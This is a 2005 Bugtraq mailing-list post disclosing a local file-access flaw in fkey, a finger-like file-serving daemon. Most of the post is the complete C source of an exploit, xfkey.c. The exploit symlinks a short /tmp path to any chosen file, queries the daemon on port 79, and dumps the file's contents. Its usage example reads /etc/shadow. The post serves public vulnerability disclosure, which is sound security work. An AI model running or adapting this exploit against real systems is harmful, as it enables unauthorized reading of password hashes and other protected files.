bugtraq - fkey[v0.0.2]: local/remote file accessibility exploit.

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Date: 20 Jan 2005 09:14:51 -0000
From: Vade 79 <v9@...ehalo.deadpig.org>
To: bugtraq@...urityfocus.com
Subject: fkey[v0.0.2]: local/remote file accessibility exploit.




nothing major, just killing some time and strolled across this project on freshmeat.

original version:
 http://fakehalo.us/xfkey.c


--------------------- exploit: xfkey.c ----------------------

/*[ fkey[v0.0.2]: local/remote file accessibility exploit. ]*
 *                                                          *
 * by: vade79/v9 v9@...ehalo.us (fakehalo/realhalo)         *
 *                                                          *
 * netris homepage/URL:                                     *
 *  http://www.freshmeat.net/projects/fkey                  *
 *                                                          *
 * compile:                                                 *
 *  gcc xfkey.c -o xfkey                                    *
 *                                                          *
 * syntax:                                                  *
 *  # ./xfkey /etc/shadow 2>~/save_filename                 *
 *                                                          *
 * bug:                                                     *
 *  fkey is a finger-like daemon for accessing remote files *
 *  in a specified directory.  there is no limitations      *
 *  placed on the file acessing other than it must be a     *
 *  filename/path equal to 10 or less bytes.  this limits   *
 *  the remote possibilities somewhat, but symlinking to a  *
 *  short path(ie. /tmp/file) locally can access anything.  *
 *  (this exploits locally)                                 *
 *                                                          *
 * note:                                                    *
 *  this is pretty low-risk due to the fact that the        *
 *  program isn't very common, just browsing freshmeat.net  *
 *  and killing some time.                                  *
 ************************************************************/ 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define TMPFILE "/tmp/xfkey" /* must be 10 characters or less. */

void fkey_connect(unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}

int main(int argc,char **argv){
 unsigned short port=79;
 if(argc<2){
  printf("[!] syntax: %s <file> [port]\n",argv[0]);
  exit(1);
 }
 if(argc>2)port=atoi(argv[2]);
 unlink(TMPFILE);
 if(symlink(argv[1],TMPFILE))
  printe("symlink() failed.",1);
 fkey_connect(port);
 unlink(TMPFILE);
 exit(0);
}
void fkey_connect(unsigned short port){
 int sock=0,l=0,m=0;
 char buf[1024+1];
 struct hostent *t;
 struct sockaddr_in s;
 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 s.sin_family=AF_INET;
 s.sin_port=htons(port);
 printf("[*] attempting to connect: localhost:%u.\n",port);
 if((s.sin_addr.s_addr=inet_addr("127.0.0.1"))){
  if(!(t=gethostbyname("localhost")))
   printe("couldn't resolve hostname.",1);
  memcpy((char*)&s.sin_addr,(char*)t->h_addr,
  sizeof(s.sin_addr));
 }
 signal(SIGALRM,sig_alarm);
 alarm(3);
 if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
  printe("connection failed.",1);
 alarm(0);
 printf("[*] successfully connected: localhost:%u.\n",port);
 write(sock,TMPFILE,strlen(TMPFILE));
 alarm(5);
 for(memset(buf,0,1025);(l=read(sock,buf,1024));memset(buf,0,1025)){
  fputs(buf,stderr);
  m+=l;
 }
 alarm(0);
 if(m<=0)
  printe("exploit failed, file doesn't exist or zero-length file.",0);
 close(sock);
 return;
}
void printe(char *err,short e){
 printf("[!] %s\n",err);
 if(e)exit(1);
 return;
}